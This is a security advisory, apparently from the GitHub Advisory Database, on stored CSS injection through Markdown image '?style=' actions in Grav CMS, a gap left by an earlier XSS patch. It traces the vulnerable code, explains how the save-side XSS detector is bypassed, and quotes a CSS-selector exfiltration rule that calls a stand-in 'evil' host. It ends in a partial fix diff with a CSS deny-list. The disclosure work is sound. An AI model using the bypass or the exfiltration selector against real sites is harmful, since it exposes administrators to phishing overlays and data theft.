Grav: Stored CSS injection via Markdown image ?style=… reaches MediaObjectTrait::style() — incomplete patch of GHSA-r7fx-8g49-7hhr

When

2026-06-18 14:49 UTC

Where

Global (internet)

Category

cyber_advisory · composer

## Summary The fix for **GHSA-r7fx-8g49-7hhr / CVE-2026-42841** (Stored XSS via Markdown media `attribute()` action) is incomplete. The maintainer patched `MediaObjectTrait::attribute()` to deny dangerous attribute names (event handlers, `style`, `xmlns`, `srcdoc`, `formaction`) but the sibling `MediaObjectTrait::style()` method is reachable through the **same Markdown excerpt-action pipeline** and writes editor-controlled strings straight into the rendered `<img style="…">` attribute with **no sanitization**. Any user with `admin.pages` permission (e.g. an editor) can save Markdown like: ```markdown  ``` which renders to a stored-CSS payload that any higher-privileged viewer (administrator, super-admin, reviewer) loads in their authenticated session. Same trust boundary, same victim, same attacker, same Markdown input vector as the patched GHSA-r7fx-8g49-7hhr issue — the fix simply patched the `attribute()` entry point and missed the `style()` sibling. ## Affected versions Vulnerable at HEAD across every currently-shipping branch (verified 2026-06-15): | Branch / tag | `MediaObjectTrait::style()` | |---|---| | `develop` (`f4c0f42`) | unpatched | | `2.0` (`96e1d2d`) | unpatched | | `2.0.0-rc.8` (latest 2.0 RC tag) | unpatched | | `1.7.52` (latest 1.7 stable) | unpatched | Per `SECURITY.md`, this advisory targets the **2.0 line** (publisher-level exploit, not eligible for 1.7 backport per the project's stated policy). ## Trust boundary Per the project's `SECURITY.md`: > A vulnerability is when an actor can **escape the trust scope of their role**: a publisher whose stored content compromises an admin session, an unauthenticated visitor who reaches a privileged sink, an account at any tier that gains capabilities it was not granted. An editor authoring Markdown is operating within their role. A higher-privilege admin loading that editor's page in their authenticated session and getting attacker-controlled CSS painted into their browser is **across the trust boundary** — the same framing that was accepted for GHSA-r7fx-8g49-7hhr (MODERATE) and GHSA-c2q3-p4jr-c55f (MODERATE). ## Details ### Original GHSA-r7fx-8g49-7hhr fix (commit `5a12f9be8`, 2026-04-23) ```php public function attribute($attribute = null, $value = '') { if (empty($attribute) || !is_string($attribute)) { return $this; } if (!self::isSafeAttributeName($attribute)) { return $this; } $this->attributes[$attribute] = $value; return $this; } private static function isSafeAttributeName(string $name): bool { if (!preg_match('/^[A-Za-z][A-Za-z0-9_:.\-]*$/', $name)) { return false; } $lower = strtolower($name); if (str_starts_with($lower, 'on')) { // event handlers return false; } $denylist = ['style', 'xmlns', 'srcdoc', 'formaction']; return !in_array($lower, $denylist, true); } ``` `style` is the **second-named entry** on the denylist — the maintainer explicitly recognised that editor-supplied `style` was dangerous when arriving via the `attribute()` action. The fix simply didn't reach the parallel sink. ### The unpatched sibling: `MediaObjectTrait::style()` (line 519) ```php /** * Allows to add an inline style attribute from Markdown or Twig * Example:  */ public function style($style) { $this->styleAttributes[] = rtrim($style, ';') . ';'; return $this; } ``` The function is unchanged before, during, and after the GHSA-r7fx-8g49-7hhr fix. The PHPDoc on the very next line names the Markdown invocation form (`?style=…`). The `rtrim` is for clean concatenation, not security. `$styleAttributes` is concatenated and assigned to `attributes['style']` in `parsedownElement()` (lines 242–251): ```php $style = ''; foreach ($this->styleAttributes as $key => $value) { if (is_numeric($key)) { // editor-supplied entries are numeric-keyed $style .= $value; } else { $style .= $key . ': ' . $value . ';'; } } if ($style) { $attributes['style'] = $style; } ``` Parsedown then runs `htmlspecialchars` on the value (so quote-breakout into a new attribute is blocked), but arbitrary CSS as the value is enough. ### Source → sink trace The Markdown processor wires query-string keys to method calls on the `Medium` object (`system/src/Grav/Common/Page/Markdown/Excerpts.php:262`): ```php foreach ($actions as $action) { $matches = []; if (preg_match('/\[(.*)\]/', (string) $action['params'], $matches)) { $args = [explode(',', $matches[1])]; } else { $args = explode(',', (string) $action['params']); } $medium = call_user_func_array([$medium, $action['method']], $args); } ``` `?style=position:fixed;top:0;left:0` becomes `$medium->style('position:fixed;top:0;left:0')`. ### Save-side XSS detector misses the payload `AdminController::savePage()` runs `Security::detectXssFromArray()` on `data[content]` before persisting (`classes/plugin/AdminController.php:1402`). All five default patterns miss the Markdown form: - `on_events`: requires `<…on*=` in source. - `invalid_protocols`: requires `javascript:`/`data:`/etc. — the phishing-overlay payload uses none. - `moz_binding`: requires `-moz-binding:` literally. - `html_inline_styles`: requires `<…style=…(url:|x:expression)`; Markdown source has no `<` and no `url:`. - `dangerous_tags`: requires `<svg`/`<script`/etc. Save proceeds, the payload persists, the CSS is rendered to every viewer. ## Impact - **Phishing overlay** — full-viewport `position:fixed` covering the admin UI with attacker-controlled background/content; admin clicks intended actions into the attacker's overlay. - **UI redress / clickjacking** — invisible overlays hijacking admin button clicks. - **CSS-selector data exfiltration** — `input[value^="a"] { background: url(//evil/log?c=a) }` against form fields the higher-privileged viewer interacts with. - **Persistent admin-UI denial-of-service** — `position:fixed; background:white` covers the page until the offending content is removed by hand on the server. The stored payload reaches every user who views the editor's page — including administrators previewing pending changes. ## Proof of concept A deterministic end-to-end PoC against a real Grav install ships with the finding (`repro.sh`). Steps: 1. Log in as an editor (`admin.pages` + `admin.pages.update`, no `admin.super`). 2. Upload a benign image to a target page. 3. Save the page with the Markdown payload ``. 4. Visit the public page; observe the `<img style="…">` carrying the unsanitised CSS. ## Suggested fix Apply the same denylist + identifier-shape gate to `style()` that `isSafeAttributeName()` enforces for `attribute()`: ```diff public function style($style) { + if (!is_string($style) || !self::isSafeStyleValue($style)) { + return $this; + } $this->styleAttributes[] = rtrim($style, ';') . ';'; return $this; } +/** + * Editor-controlled style values arrive via Markdown `?style=…` and reach + * the rendered `<img style="…">` attribute verbatim. Limit to a conservative + * set of CSS that themes legitimately use from content (sizing, float, + * margin, etc.) and reject anything that opens a phishing-overlay or + * data-exfil primitive. Matches the spirit of the attribute() denylist + * from GHSA-r7fx-8g49-7hhr — same trust boundary, sibling sink. + */ +private static function isSafeStyleValue(string $css): bool +{ + $css = strtolower($css); + // Deny: phishing-overlay positioning, CSS-selector exfil sinks + // (background/content url(...)), expression() (legacy IE), + // -moz-binding (legacy FF), behavior: url() (IE). + $deny = ['position:', '@import', 'url(', 'expression(', + '-moz-binding', 'behavior:',

Sources

• GitHub Advisory Database ↗ · first seen 2026-06-18 14:49 UTC

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